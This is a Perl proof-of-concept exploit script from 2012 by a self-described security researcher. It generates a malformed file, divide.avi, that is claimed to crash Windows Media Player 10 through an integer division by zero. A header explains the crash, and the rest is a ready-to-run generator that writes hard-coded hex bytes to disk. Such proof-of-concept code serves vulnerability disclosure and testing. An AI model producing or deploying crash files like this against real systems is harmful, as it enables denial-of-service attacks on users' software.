#!/usr/bin/perl# Souhail Hammou - Independant Security Researcher & Penetration Tester .# Facebook : www.facebook.com/dark.puzzle.sec# E-mail : dark-puzzle@live.fr# Greetings to all moroccan researchers and white hats .# Title: Windows Media Player 10 - .avi Integer Division By Zero Vulnerability# Author : Dark-Puzzle (Souhail Hammou)# Type : DoS/PoC# Risk : Medium# Vendor : Microsoft# Versions : 10 Other Version May Be Vulnerable .# Tested On : Windows XP SP2 .# Date : 13 October 2012# ---------------------------------------------------------- ## Vulnerability Details : # Division By zero Vulnerability in Microsoft Windows Media Player Consists to divide the value of a register by Zero .# In this case it is the ECX register executing a command DIV ECX as well known.# This will cause an Integer division by Zero --> Exception Can't be Handled --> CRASH .# Tested Just On Version "10" Might be working on other Versions .# POC :
my $m = "MThd";
my $div =
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\xff\xff\x00\xff\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x06\x00\x00\x00\x66\x66\x66\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00";
open(myfile,'>divide.avi');
print myfile $m.$div;
close(myfile);
print "Windows Media Player 10 - .avi Integer Division By Zero Vulnerability\n";
print "\x44\x69\x73\x63\x6F\x76\x65\x72\x65\x64\x20\x26\x20\x50\x6F\x43\x20\x42\x79\x20\x44\x61\x72\x6B\x2D\x50\x75\x7A\x7A\x6C\x65\n";
print "Creating File Please Wait\n";sleep 5;